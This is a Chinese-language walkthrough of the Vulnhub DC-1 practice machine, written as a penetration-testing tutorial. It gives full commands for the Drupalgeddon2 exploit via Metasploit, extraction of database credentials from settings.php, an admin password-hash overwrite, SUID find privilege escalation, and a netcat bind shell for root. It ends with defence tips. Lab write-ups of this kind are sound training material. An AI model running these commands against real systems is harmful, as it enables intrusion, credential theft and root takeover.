Vulnhub靶机DC系列-DC1
字数 973 2025-08-15 21:33:16
DC-1 靶机渗透测试教学文档
靶机概述
DC-1 是一个专门构建的漏洞实验室,旨在为渗透测试初学者提供实战经验。该靶机包含5个flag,最终目标是获取root权限并读取root家目录中的flag。
环境准备
- 靶机下载:DC-1下载地址
- 虚拟化平台:VirtualBox或VMware
- 攻击机:Kali Linux或其他渗透测试发行版
- 网络配置:将靶机和攻击机置于同一NAT网络
渗透测试流程
1. 信息收集
步骤1:发现靶机IP
nmap -sn 192.168.37.0/24
步骤2:扫描开放端口和服务
nmap -sV -p- 192.168.37.187
步骤3:识别Web应用
访问 http://192.168.37.187/robots.txt 发现是Drupal CMS
2. 漏洞利用
步骤1:使用Metasploit利用Drupal漏洞
msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.37.187
exploit
成功获取www-data权限的shell
步骤2:升级交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
3. 获取Flag
Flag1
位于当前目录,提示查看配置文件
Flag2
位于Drupal配置文件中:
cat /var/www/sites/default/settings.php
包含数据库凭据:
- 用户名:dbuser
- 密码:R0ck3t
步骤3:数据库交互
mysql -u dbuser -pR0ck3t -D drupaldb
查询用户凭据:
SELECT name,pass FROM users;
步骤4:重置管理员密码
php scripts/password-hash.sh admin
使用生成的hash更新数据库:
UPDATE users SET pass='$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR' WHERE name='admin';
Flag3
提示使用具有root权限的命令进行提权
查找SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
发现find命令具有SUID权限
Flag4
位于/home目录:
cat /home/flag4/flag4.txt
Flag5(最终flag)
利用find进行提权查看:
touch pentestlab
find pentestlab -exec cat /root/thefinalflag.txt \;
4. 权限提升
方法1:利用find获取root shell
靶机执行:
find pentestlab -exec nc -lvp 5551 -e /bin/sh \;
攻击机连接:
nc 192.168.37.187 5551
方法2:暴力破解(备选)
使用工具如Hydra尝试破解SSH或其他服务密码
关键知识点总结
- Drupal漏洞利用:了解Drupalgeddon2漏洞(CVE-2018-7600)的利用方式
- 数据库凭证提取:从配置文件中提取敏感信息
- 密码重置技术:通过修改数据库hash重置管理员密码
- SUID提权:利用具有SUID权限的find命令进行权限提升
- 网络反向shell:使用netcat建立反向连接获取root权限
防御建议
- 及时更新CMS系统补丁
- 配置文件不应包含敏感信息或应设置适当权限
- 限制SUID权限的二进制文件
- 使用强密码并定期更换
- 实施最小权限原则
通过这个靶机练习,可以掌握从信息收集到权限提升的完整渗透测试流程,特别适合初学者建立实战基础。